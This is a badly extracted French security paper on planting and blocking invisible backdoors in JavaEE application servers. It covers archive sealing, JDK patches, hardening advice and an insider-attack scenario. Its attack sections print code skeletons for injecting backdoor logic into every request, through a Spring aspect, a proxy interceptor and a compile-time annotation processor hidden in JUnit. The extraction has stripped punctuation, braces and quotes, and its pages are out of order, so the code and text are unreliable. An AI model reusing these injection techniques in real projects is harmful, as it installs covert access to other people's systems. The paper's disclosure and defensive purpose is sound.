Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
